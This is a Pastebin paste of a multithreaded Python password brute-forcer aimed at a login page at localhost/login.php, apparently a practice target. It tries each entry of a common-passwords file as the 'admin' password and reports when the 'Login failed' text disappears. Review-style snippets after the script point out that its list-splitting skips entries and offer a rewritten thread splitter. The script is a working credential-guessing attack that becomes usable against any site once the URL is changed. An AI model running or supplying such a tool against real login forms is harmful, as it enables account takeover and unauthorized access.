Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python3
- import threading
- import requests
- URL = 'http://localhost/login.php'
- PASSWORD_FILE_NAME = 'common-passwords.txt'
- entry_found = False
- def create_threads(passwords):
- password_list_split_points = [
- (0, len(passwords) // 4),
- (len(passwords) // 4 + 1, len(passwords) // 2),
- (len(passwords) // 2 + 1, 3 * (len(passwords) // 4)),
- (3 * (len(passwords) // 4) + 1, len(passwords) - 1),
- ]
- thread_list = [threading.Thread(
- target=run_cracker,
- args=(
- passwords[split_point[0] : split_point[1]]
- )
- ) for split_point in password_list_split_points]
- return thread_list
- def run_cracker(*passwords):
- global entry_found
- for password in passwords:
- if entry_found:
- break
- # Passwords still contain last n char which has to be stripped.
- if crack_password(password.rstrip()):
- # This is set to True only once. No need for sync mechanisms.
- entry_found = True
- def crack_password(password):
- print('[*] Trying password: "{}" ...'.format(password))
- response = requests.post(
- URL,
- data={'username': 'admin', 'Login': 'Login', 'password': password}
- )
- if bytes('Login failed', encoding='utf-8') not in response.content:
- print('[*] Login successful for username: {} password: {}'.format(
- 'admin', password
- ))
- return True
- else:
- return False
- if __name__ == '__main__':
- with open(PASSWORD_FILE_NAME) as password_file:
- passwords = password_file.readlines()
- thread_list = create_threads(passwords)
- for thread in thread_list:
- print('[*] Running thread: {}.'.format(thread.getName()))
- thread.start()
- for thread in thread_list:
- print('[*] Wating for {} to join.'.format(thread.getName()))
- thread.join()
- n = 100
- a = range(n)
- b = a[0 : n // 4] # equals [0, 1, ... , 23, 24]
- c = a[n // 4 + 1 : n // 2] # equals [26, 27, ..., 47, 48]
- def create_threads(t, passwords):
- n = len(passwords)
- x = n // t
- m = n % t
- xs = [passwords[i:i+x] for i in range(0, n, x)]
- if m:
- xs[t-1:] = [passwords[-m-x:]]
- assert(sum([len(l) for l in xs]) == n)
- return [
- threading.Thread(target=run_cracker, args=(l)) for l in xs
- ]
Add Comment
Please, Sign In to add comment